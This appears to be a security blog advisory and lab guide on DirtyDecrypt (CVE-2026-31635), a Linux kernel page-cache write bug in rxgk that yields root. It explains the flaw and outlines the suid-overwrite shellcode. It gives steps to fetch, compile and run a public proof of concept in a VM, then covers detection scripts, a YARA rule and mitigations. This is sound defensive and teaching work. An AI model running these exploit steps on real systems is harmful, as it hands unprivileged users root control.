Home Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other All categories Projects About Tools

DirtyDecrypt (CVE-2026-31635): Linux privilege escalation via rxgk pagecache write

Leer en espanol
DirtyDecrypt (CVE-2026-31635): Linux privilege escalation via rxgk pagecache write

Table of contents

What is DirtyDecrypt

DirtyDecrypt (also known as DirtyCBC) is a local privilege escalation (LPE) vulnerability in the Linux kernel that allows an unprivileged user to obtain root on systems with the rxgk module enabled (CONFIG_RXGK). The bug is a missing COW (Copy-On-Write) protection in rxgk_decrypt_skb(), which allows corruption of the kernel page cache by writing arbitrary bytes into read-only files.

The exploit, independently discovered by Aaron Esau from the V12 Security team (reported on May 9, 2026), overwrites a suid-root binary (such as /usr/bin/su) with a minimal ELF shellcode that executes setuid(0) + execve("/bin/sh"), gaining root instantly.

Key data

FieldValue
CVECVE-2026-31635 (according to Will Dormann / Tharros)
NameDirtyDecrypt / DirtyCBC
CVSS~7.8 (High) — local LPE
CWECWE-667 (Improper Locking / Missing COW)
DiscovererAaron Esau / V12 Security (AI-assisted discovery)
VendorLinux Kernel
PatchMainline (April 25, 2026)
AffectedKernels ≥6.16 with CONFIG_RXGK=y/m (introduced in 6.16)
Affected distrosFedora 42+, Arch Linux, openSUSE Tumbleweed (kernel ≥6.16)
PrerequisiteLocal user + CONFIG_RXGK + readable suid-root binary + sufficient kernel.keys.maxkeys
FamilyDirty Frag, Fragnesia, Copy Fail (page cache class)

How the bug works

The issue: in-place decrypt without COW

In net/rxrpc/rxgk_common.h, the function rxgk_decrypt_skb() executes this sequence:

  1. skb_to_sgvec() — converts SKB fragments into a scatter-gather list
  2. crypto_krb5_decrypt() — decrypts in-place using AEAD (AES-CBC)

The issue: it does not call skb_cow_data() before decryption. The krb5enc template in crypto/krb5enc.c decrypts in-place before HMAC verification. When SKB fragment pages are page cache pages (injected via splice → MSG_SPLICE_PAGES → loopback), the in-place decryption directly corrupts page cache.

C
// Bug pseudocode
void rxgk_decrypt_skb(skb) {
	sgvec = skb_to_sgvec(skb);        // page cache pages
	crypto_krb5_decrypt(sgvec);         // decrypts IN-PLACE ← corrupts page cache!
	// missing: skb_cow_data() should copy pages first
	verify_hmac(sgvec);                 // HMAC fails, but the damage is done
}

The same pattern exists in rxkad_verify_packet_2() (rxkad).

Sliding window: byte-by-byte write

The exploit uses a sliding-window technique to write arbitrary bytes into page cache, one byte at a time:

  1. Round i: triggers a spliced rxgk packet at offset S+i, corrupting a 16-byte AES block
  2. Byte [0] of the output is uniformly random (1/256 chance of the desired value)
  3. Round i+1: at offset S+i+1, overwrites the 15 collateral-damage bytes from the previous round, but never touches the byte already written in round i

Result: writes with single-byte granularity at ~256 trigger attempts per byte. For a 120-byte shellcode, that is ~30,720 triggers, i.e., a few minutes.

From page cache corruption to root

  1. Find a readable suid-root binary (e.g., /usr/bin/su, /usr/bin/mount)
  2. Back up the binary
  3. Open the file with O_RDONLY and mmap(MAP_SHARED) to keep pages cached
  4. From a user namespace (loopback + rxgk), trigger byte-by-byte corruption
  5. Overwrite the first 120 bytes with a tiny ELF shellcode:
  • setuid(0) (syscall 105)
  • execve("/bin/sh", NULL, NULL) (syscall 59)
  1. Execute the corrupted suid binary → root shell

The ELF shellcode (120 bytes)

NASM
; tiny_elf: ET_DYN ELF x86_64, 120 bytes
; PT_LOAD covers exactly 120 bytes
; Offset 0x68: entry point
;   mov al, 0x69     ; sys_setuid
;   syscall           ; setuid(0)
;   lea rdi, "/bin/sh" ; string embedded in p_paddr
;   push 59; pop rax  ; sys_execve
;   syscall           ; execve("/bin/sh", 0, 0)

The ELF is a valid PIE executable of only 120 bytes that matches the first 24 bytes of any PIE binary (ET_DYN, x86_64), minimizing the bytes that need to be changed.

Reproduction lab

Lab architecture

CODE
┌───────────────────────────────────────────────────────────────┐
│  Vagrant VM: Fedora 42 (bento/fedora-42) — kernel with RXGK  │
│  - 2 CPUs, 2GB RAM (VirtualBox)                              │
│  - CONFIG_RXGK=y enabled (kernel 6.16+)                     │
│  - Unprivileged user: testuser                              │
│                                                              │
│  ┌─────────────────────────────────────────────────────────┐  │
│  │  Exploit (poc.c) as 'testuser'                         │  │
│  │                                                         │  │
│  │  1. fork() → child in user+net namespace               │  │
│  │  2. Loopback + AF_RXRPC + splice → pagecache write     │  │
│  │  3. Sliding window → overwrite /usr/bin/su (suid)      │  │
│  │  4. exec /usr/bin/su → root shell                      │  │
│  └─────────────────────────────────────────────────────────┘  │
└───────────────────────────────────────────────────────────────┘

Requirements

  • VirtualBox 6.x / 7.x
  • Vagrant 2.x
  • ~3GB disk space (Fedora 42 box)
  • Internet connection (first-time box download)

Important: CONFIG_RXGK was introduced in kernel 6.16. Fedora 40 and earlier are not vulnerable (they do not include the module). You need Fedora 42+ (or Arch/openSUSE Tumbleweed with kernel ≥6.16).

Vagrantfile

RUBY
Vagrant.configure("2") do |config|
  config.vm.box = "bento/fedora-42"
  config.vm.synced_folder ".", "/vagrant", disabled: true

  config.vm.provider "virtualbox" do |vb|
	vb.memory = "2048"
	vb.cpus = 2
	vb.name = "fedora-dirtydecrypt"
  end

  config.vm.provision "shell", inline: <<-SHELL
	# Create unprivileged user
	useradd -m -s /bin/bash testuser 2>/dev/null || true
	echo "testuser:testuser123" | chpasswd
	# Install compiler
	dnf install -y gcc make kernel-headers 2>/dev/null
	# Increase kernel key quota (required by exploit)
	sysctl -w kernel.keys.maxkeys=100000
	sysctl -w kernel.keys.maxbytes=10000000
	# Verify CONFIG_RXGK
	echo "[*] CONFIG_RXGK: $(grep CONFIG_RXGK /boot/config-$(uname -r) 2>/dev/null || echo 'NOT FOUND')"
	echo "[*] Kernel: $(uname -r)"
  SHELL
end

Deployment and execution

BASH
# 1. Create lab directory
mkdir dirtydecrypt-lab && cd dirtydecrypt-lab

# 2. Create Vagrantfile (see above) and boot VM
vagrant up

# 3. Verify CONFIG_RXGK is enabled
vagrant ssh -c "grep CONFIG_RXGK /boot/config-\$(uname -r)"
# Expected output: CONFIG_RXGK=y

# 4. Verify kernel version (must be >= 6.16 and < 6.19.13)
vagrant ssh -c "uname -r"
# NOTE: If kernel is already patched (>= 6.19.13), install a vulnerable one:
#   vagrant ssh -c "sudo dnf install -y koji"
#   vagrant ssh -c "cd /tmp && koji download-build --arch=x86_64 kernel-6.19.11-100.fc42"
#   vagrant ssh -c "sudo dnf install -y /tmp/kernel-core-6.19.11*.rpm \
#     /tmp/kernel-modules-core-6.19.11*.rpm /tmp/kernel-modules-6.19.11*.rpm"
#   vagrant ssh -c "sudo grubby --set-default /boot/vmlinuz-6.19.11-100.fc42.x86_64"
#   vagrant reload

# 5. Download exploit in the VM
vagrant ssh -c "curl -sL -o /tmp/poc.c \
  https://raw.githubusercontent.com/v12-security/pocs/main/dirtydecrypt/poc.c"

# 6. Compile
vagrant ssh -c "gcc -O2 -o /tmp/dirtydecrypt /tmp/poc.c && chmod 755 /tmp/dirtydecrypt"

# 7. Run as unprivileged user
vagrant ssh -c "sudo -u testuser /tmp/dirtydecrypt"

Expected output

CODE
=== rxgk pagecache write ===
uid=1001 euid=1001
[*] writing shellcode to /usr/bin/su (96 bytes from offset 24)
	[========================================] 100% (96/96, 23400 fires)
[*] 23400 fires in 185.9s
[*] exec /usr/bin/su
[*] restore: cp /tmp/.su_3759 /usr/bin/su
# id
uid=0(root) gid=0(root) groups=0(root)

Restore the corrupted binary

BASH
# From the obtained root shell:
cp /tmp/.su_<PID> /usr/bin/su
chmod 4755 /usr/bin/su

Clean up the lab

BASH
vagrant destroy -f

Attack detection

Indicators

  • Processes creating user namespaces + AF_RXRPC sockets (uncommon syscall usage)
  • Unexpected modifications in suid-root binary contents
  • Multiple loopback UDP packets using rxrpc protocol
  • Suspicious dot-prefixed backups in /tmp/ (e.g. /tmp/.su_*)

Detection script

BASH
#!/bin/bash
# check_dirtydecrypt.sh — Linux

echo "=== DirtyDecrypt (CVE-2026-31635) Check ==="

# 1. Kernel
KERNEL=$(uname -r)
echo "[INFO] Kernel: $KERNEL"

# 2. Is CONFIG_RXGK enabled?
CONFIG_FILE="/boot/config-$KERNEL"
if [ -f "$CONFIG_FILE" ]; then
	RXGK=$(grep "CONFIG_RXGK" "$CONFIG_FILE" 2>/dev/null)
	if echo "$RXGK" | grep -q "=m\|=y"; then
		echo "[VULNERABLE] CONFIG_RXGK enabled: $RXGK"
	else
		echo "[OK] CONFIG_RXGK not enabled"
		exit 0
	fi
else
	# Try via modprobe
	if modprobe -n rxgk 2>/dev/null; then
		echo "[VULNERABLE] rxgk module available"
	elif modprobe -n rxrpc 2>/dev/null; then
		echo "[WARNING] rxrpc available (verify rxgk manually)"
	else
		echo "[OK] rxgk/rxrpc not available"
		exit 0
	fi
fi

# 3. Is module loaded?
if lsmod | grep -q rxgk; then
	echo "[INFO] rxgk module currently loaded"
elif lsmod | grep -q rxrpc; then
	echo "[INFO] rxrpc loaded (rxgk may load on demand)"
fi

# 4. Indicators of compromise
echo ""
for pat in /tmp/.su_* /tmp/.mount_* /tmp/.passwd_* /tmp/.chsh_*; do
	if compgen -G "$pat" > /dev/null 2>&1; then
		echo "[CRITICAL] Suspicious backup found: $pat"
		ls -la $pat 2>/dev/null
	fi
done

# 5. Verify suid binary integrity
echo ""
echo "[INFO] Verifying suid-root binaries..."
for f in /usr/bin/su /usr/bin/mount /usr/bin/passwd /usr/bin/chsh; do
	if [ -f "$f" ]; then
		MAGIC=$(xxd -l 4 "$f" 2>/dev/null | awk '{print $2 $3}')
		if [ "$MAGIC" != "7f454c46" ]; then
			echo "[CRITICAL] $f has corrupted magic bytes!"
		fi
	fi
done

echo ""
echo "[MITIGATION] To disable rxgk:"
echo "  echo 'install rxgk /bin/false' >> /etc/modprobe.d/dirtydecrypt.conf"
echo "  echo 'install rxrpc /bin/false' >> /etc/modprobe.d/dirtydecrypt.conf"
echo "  rmmod rxgk rxrpc 2>/dev/null"

YARA rule

YARA
rule Linux_DirtyDecrypt_PoC {
	meta:
		description = "Detects DirtyDecrypt / DirtyCBC exploit (CVE-2026-31635)"
		author = "Red Orbita"
		date = "2026-05-18"
		cve = "CVE-2026-31635"
		severity = "high"

	strings:
		$s1 = "rxgk_decrypt_skb" ascii
		$s2 = "rxgk pagecache write" ascii
		$s3 = "skb_cow_data" ascii
		$s4 = "sliding-window" ascii nocase
		$s5 = "AF_RXRPC" ascii
		$s6 = "RXGK_SECURITY_INDEX" ascii
		$s7 = "pagecache_write" ascii
		$s8 = "DirtyDecrypt" ascii nocase
		$s9 = "DirtyCBC" ascii nocase
		$s10 = "tiny_elf" ascii
		$s11 = "/tmp/.su_" ascii
		$s12 = "CLONE_NEWUSER" ascii

	condition:
		($s2) or
		($s8 or $s9) or
		($s6 and $s7) or
		($s5 and $s10 and $s12) or
		(4 of ($s*))
}

Workaround

Disable the rxgk and rxrpc modules:

BASH
# Immediate mitigation
sh -c "printf 'install rxgk /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtydecrypt.conf"
rmmod rxgk rxrpc 2>/dev/null
echo 3 > /proc/sys/vm/drop_caches

# Combined mitigation (includes Dirty Frag / Fragnesia / Copy Fail)
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

Note: this disables IPsec VPN functions (esp4/esp6) and AFS (rxrpc/rxgk).

Permanent fix

Upgrade the kernel to a patched version. The fix adds skb_cow_data() before decryption:

DIFF
+ if (skb_cow_data(skb, 0, &trailer) < 0)
	 return -ENOMEM;
  sg_init_table(sg, nsg);
  skb_to_sgvec(skb, sg, offset, len);
  crypto_krb5_decrypt(...);
BASH
# Fedora
sudo dnf upgrade --refresh
sudo reboot

# Arch Linux
sudo pacman -Syu
sudo reboot

Relation to other page cache vulnerabilities

DirtyDecrypt belongs to a family of Linux kernel LPE vulnerabilities that exploit page cache corruption:

VulnerabilityModuleTechniqueStatus
Dirty Fragesp4/esp6splice + in-place decrypt (IPsec)Patched
Fragnesiaesp4/esp6Dirty Frag variant with TCPPatched
Copy Fail (CVE-2026-32202)esp4/esp6Actively exploited (CISA KEV)Patched
DirtyDecrypt (CVE-2026-31635)rxgksplice + in-place decrypt (AFS/RxGK)Mainline patched

All of them share the same root cause: in-place decryption of page cache pages without COW protection. The common mitigation is to disable affected crypto modules.

Timeline

DateEvent
April 25, 2026Patch merged into kernel mainline
May 9, 2026V12 Security independently reports (informed as duplicate)
May 18, 2026V12 publishes PoC and write-up
May 18, 2026BleepingComputer publishes article
May 18, 2026Will Dormann (Tharros) links it to CVE-2026-31635

References

Comments